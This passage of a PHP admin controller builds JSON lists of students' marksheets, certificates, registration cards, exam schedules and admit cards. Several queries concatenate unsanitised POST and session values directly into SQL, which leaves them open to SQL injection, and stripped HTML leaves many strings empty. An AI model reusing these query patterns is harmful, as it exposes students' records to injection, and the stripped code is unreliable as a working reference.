    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, //'AC_COURSE'=>$course_id, 'AC_DURATION'=> $post->CDL_ID, //'AC_CATEGORY' => $category_id, ])->row(); if(@$row->AC_STATUS == 0){ $admit_card_status = ' PUBLISH ADMIT CARD '; $upload_marks = ''; $exam_date = ' UPDATE EXAM DATE/TIME '; $download_admit_card = ''; $generate_marksheet = ''; }else{ $admit_card_status = ' CANCEL ADMIT CARD '; if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ' UPLOAD MARKS '; }else{ $upload_marks = ' PRINT MARKSHEET '; } $exam_date = ''; $download_admit_card = ' DOWNLOAD'; if(@$row->AC_MARKSHEET_STATUS == 0){ $generate_marksheet = ' GENERATE MARKSHEET '; }else{ $generate_marksheet = ''; } } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = ''.$post->course_name.' / '.@$post->CDL_NAME.''; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_ROLL_NO'] = ' ROLL NO : '.@$row->AC_ROLL_NO.' SERIAL NO : '.@$post->MARKSHEET_SERIAL_NO.' ISSUE DATE : '.@date('d-m-Y',strtotime($row->marksheet_issue_date)).' '; $nestedData['ACTION'] = ' '.$upload_marks.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } */ public function print_marksheet_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_marksheet($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_marksheet($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_marksheet_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_marksheet_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' AND admit_card.AC_DURATION='".$post->CDL_ID."'")->row(); if($_SESSION['type'] == 1){ $basic_rec = '

    '; }else{ $basic_rec = ''; } $SESSION = $post->start.'-'.$post->end; $upload_marks = ' DOWNLOAD MARKSHEET '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name.'
    SESSION : '.@$SESSION.'
    YEAR : '.@$post->CDL_NAME.' '; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; $nestedData['ACTION'] = ' ROLL NO : '.@$row->AC_ROLL_NO.'
    '.$basic_rec.' '.$upload_marks.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /* public function print_certificate_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } // die('hii'); $totalData = count_download_certificate($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_certificate($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_certificate_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_certificate_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, //'AC_COURSE'=>$course_id, 'AC_DURATION'=> $post->CDL_ID, //'AC_CATEGORY' => $category_id, ])->row(); $certificate = ' PRINT '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = ''.$post->course_name.' / '.@$post->CDL_NAME.''; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_ROLL_NO'] = 'ROLL NO : '.@$row->AC_ROLL_NO.' CERTIFICATE DATE : '.@date('d-m-Y',strtotime($post->certificate_issue_date)).' SERIAL NO : '.@$post->certificate_serial_no.' '; $nestedData['ACTION'] = ' '.$certificate.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } */ public function print_certificate_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } // die('hii'); $totalData = count_download_certificate($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_certificate($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_certificate_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_certificate_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' ORDER BY AC_ID LIMIT 1")->row(); $certificate = ' DOWNLOAD '; if($_SESSION['type'] == 1){ $basic_info = '
    '.'


    '; }else{ $basic_info = ''; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; $nestedData['STUDENT_ROLL_NO'] = ' '.$certificate.' '.$basic_info.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function print_student_tc_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_tc($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_tc($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_tc_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_tc_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' ORDER BY AC_ID LIMIT 1")->row(); $tc_date=date('d-m-Y',strtotime(@$post->tc_issue_date)); $tc = ' DOWNLOAD TC '; if($_SESSION['type'] == 1){ $basic_info = ''.'
    '; }else{ $basic_info = ''; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = '
    '.$post->course_name.'
    '; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; $nestedData['STUDENT_ROLL_NO'] = ' '.$tc.'
    '.$basic_info.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_registration_card_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_approve_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_approve_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_approve_list_search($limit, $start, $search,$order,$dir,$center); $totalFiltered = student_approve_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; $SESSION = $post->start.'-'.$post->end; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENROLLMENT'] = @$post->enroll.'
    BATCH : '.@$post->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->student_name.'
    SESSION : '.@$SESSION.'
    YEAR : '.@$post->CDL_NAME.' '; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; //$nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; //$nestedData['MOTHER_NAME'] = $post->mother; // $nestedData['DOB'] = $post->dob; //$nestedData['MOBILE'] = $post->mobile; //$nestedData['EMAIL'] = $post->email; //$nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; // $nestedData['MOTHER_NAME'] = $post->mother; // $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; if($post->card_issue_date != ''){ $date = date('d-m-Y',strtotime($post->card_issue_date)); }else{ $date = ''; } $print_certificate = ' DOWNLOAD'; if($_SESSION['type'] == 1){ $nestedData['STATUS'] = '
    '.$print_certificate.' '; }else{ $nestedData['STATUS'] = $print_certificate; } /* $nestedData['ACTION'] = ' DOWNLOAD '; */ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function print_registration_card_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_approve_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_approve_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_approve_list_search($limit, $start, $search,$order,$dir,$center); $totalFiltered = student_approve_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; $SESSION = $post->start.'-'.$post->end; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENROLLMENT'] = @$post->enroll.'
    BATCH : '.@$post->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->student_name.'
    SESSION : '.@$SESSION.'
    YEAR : '.@$post->CDL_NAME.' '; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; if($post->card_issue_date != ''){ $date = date('d-m-Y',strtotime($post->card_issue_date)); }else{ $date = ''; } $print_certificate = ' DOWNLOAD'; if($_SESSION['type'] == 1){ $nestedData['STATUS'] = '
    '.$print_certificate.' '; }else{ $nestedData['STATUS'] = $print_certificate; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------------------ end print marksheet -----------------------------------------------*/ public function subjects_list_by_courser_year() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; //$student_id = $_POST['student_id']; $duration = $_POST['course_duration']; $courseid = $_POST['course_id']; $session_id = $_POST['session_id']; $batch_id = $_POST['batch_id']; $totalData = count_all_exam_date_subject_list($duration,$courseid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_exam_date_subject_list($limit, $start, $order, $dir,$duration,$courseid); } else { $search = $this->input->post('search')['value']; $posts = exam_date_subject_list_search($limit, $start, $search, $order, $dir,$duration,$courseid); $totalFiltered = exam_date_subject_list_search_count($search,$duration,$courseid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $row = $this->db->query("SELECT * FROM `exam_schedule_list` WHERE `ESL_COURSE_ID` LIKE '".$courseid."' AND `ESL_SUBJECT_ID` LIKE '".$post->SUBJECT_ID."' AND `ESL_BATCH_ID` LIKE '".$batch_id."' AND `ESL_SESSION_ID` LIKE '".$session_id."' AND `ESL_DURATION` LIKE '".$duration."'")->row(); // print_r("SELECT * FROM `exam_schedule_list` WHERE `ESL_COURSE_ID` LIKE '".$courseid."' AND `ESL_SUBJECT_ID` LIKE '".$post->SUBJECT_ID."' AND `ESL_BATCH_ID` LIKE '".$batch_id."' AND `ESL_SESSION_ID` LIKE '".$session_id."'"); $nestedData['SR_NO'] = $i; $nestedData['SUBJECT_NAME'] = $post->subject_name; if($post->max_marks > 0){ $nestedData['THEORY_DATE'] = ''; }else{ $nestedData['THEORY_DATE'] = ''; } if($post->practical_max_marks > 0){ $nestedData['PRACTICAL_DATE'] = ''; }else{ $nestedData['PRACTICAL_DATE'] = ''; } if($post->max_marks > 0){ $nestedData['START_TIME'] = ' '; }else{ $nestedData['START_TIME'] = ' '; } if($post->practical_max_marks > 0){ $nestedData['END_TIME'] = ' '; }else{ $nestedData['END_TIME'] = ' '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function exam_schedule_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_exam_schedule_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_exam_schedule_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = exam_schedule_list_search($limit, $start, $search, $order, $dir); $totalFiltered = exam_schedule_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $course = $post->ESL_COURSE_ID; $batch = $post->ESL_BATCH_ID; $session = $post->ESL_SESSION_ID; $year = $post->ESL_DURATION; $total_students = count_total_student_by_course_batch($course,$batch); $total_admit_card = count_admitcard_student_by_course_batch($course,$batch,$session,$year); $nestedData['SR_NO'] = $i; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['BATCH'] = $post->BATCH_NAME; $nestedData['SESSION'] = ''.$post->start.' - '.$post->end.''; $nestedData['YEAR'] = $post->CDL_NAME.'
    STD : '.$total_students.' GEN : '.$total_admit_card.' '; if($total_students == $total_admit_card){ $nestedData['ACTION'] = 'GO TO ASSIGN CANCELL ASSIGN '; }else{ $nestedData['ACTION'] = 'GO TO ASSIGN CANCELL ASSIGN '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function assigned_admit_card() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; } $rec = $this->db->query("SELECT * FROM `exam_schedule_list` WHERE `ESL_ID` = '".$_POST['segment']."' ")->row(); $course_id = $rec->ESL_COURSE_ID; $batch_id = $rec->ESL_BATCH_ID; $session_id = $rec->ESL_SESSION_ID; $duration_id = $rec->ESL_DURATION; $totalData = count_assigned_admit_card($center,$course_id,$batch_id,$session_id,$duration_id); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_assigned_admit_card($limit, $start, $order, $dir,$center,$course_id,$batch_id,$session_id,$duration_id); } else { $search = $this->input->post('search')['value']; $posts = create_assigned_card_list_search($limit, $start, $search, $order, $dir,$center,$course_id,$batch_id,$session_id,$duration_id); $totalFiltered = create_assigned_card_list_search_count($search,$center,$course_id,$batch_id,$session_id,$duration_id); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $category_id = $post->category; $image = '
    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, 'AC_COURSE'=>$course_id, 'AC_DURATION'=> $duration_id, 'AC_CATEGORY' => $category_id, ])->row(); if(@$row->AC_STATUS == 0){ $admit_card_status = ' PUBLISH ADMIT CARD '; $upload_marks = ''; //$exam_date = ' UPDATE EXAM DATE/TIME '; $exam_date = ''; $download_admit_card = ''; $generate_marksheet = ''; }else{ $admit_card_status = ' CANCEL ADMIT CARD '; if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ' UPLOAD MARKS '; }else{ $upload_marks = ' DOWNLOAD MARKSHEET '; } $exam_date = ''; $download_admit_card = ' DOWNLOAD'; if(@$row->AC_MARKSHEET_STATUS == 0){ $generate_marksheet = ' GENERATE MARKSHEET '; }else{ $generate_marksheet = ' CANCEL MARKSHEET '; } } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no; // $nestedData['ENTOLLMENT'] = 'VHTEC/'.@$post->course_name.'/'.$post->start.$post->end; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['ROLL_NO'] = @$row->AC_ROLL_NO; $nestedData['COURSE'] = ''.$post->course_name.' / '.@$post->CDL_NAME.''; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; //$nestedData['STUDENT_ROLL_NO'] = ''; $nestedData['STUDENT_ROLL_NO'] = ''; $nestedData['ACTION'] = ' '.$exam_date.' '.$admit_card_status.' '.$download_admit_card.' '.$upload_marks.' '.$generate_marksheet.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_admit_card() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; //$dir = $this->input->post('order')[0]['dir']; $dir = 'Desc'; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_admit_card($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_admit_card($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_admit_card_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_admit_card_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, //'AC_COURSE'=>$course_id, 'AC_DURATION'=> $post->CDL_ID, //'AC_CATEGORY' => $category_id, ])->row(); if($_SESSION['type'] == 1){ if(@$row->AC_STATUS == 0){ $admit_card_status = ' PUBLISH ADMIT CARD '; $upload_marks = ''; $exam_date = ' UPDATE EXAM DATE/TIME '; $download_admit_card = ''; $generate_marksheet = ''; }else{ $admit_card_status = ''; /* $admit_card_status = ' CANCEL ADMIT CARD '; */ if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ' UPLOAD MARKS '; }else{ $upload_marks = ' DOWNLOAD MARKSHEET '; } $exam_date = ''; $download_admit_card = ' DOWNLOAD '; if(@$row->AC_MARKSHEET_STATUS == 0){ $generate_marksheet = ' GENERATE MARKSHEET '; }else{ $generate_marksheet = ' CANCELL MARKSHEET '; } } }else{ $download_admit_card = ' DOWNLOAD ADMIT CARD'; if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ''; }else{ $upload_marks = ''; } $admit_card_status = ''; $generate_marksheet = ''; } if($_SESSION['type'] == 1){ $rollno = ''; }else{ $rollno = @$post->AC_ROLL_NO; } $session_year = $post->start.'-'.$post->end; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no; // $nestedData['ENTOLLMENT'] = 'VHTEC/'.@$post->course_name.'/'.$post->start.$post->end; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['ROLL_NO'] = @$post->AC_ROLL_NO; $nestedData['COURSE'] = '
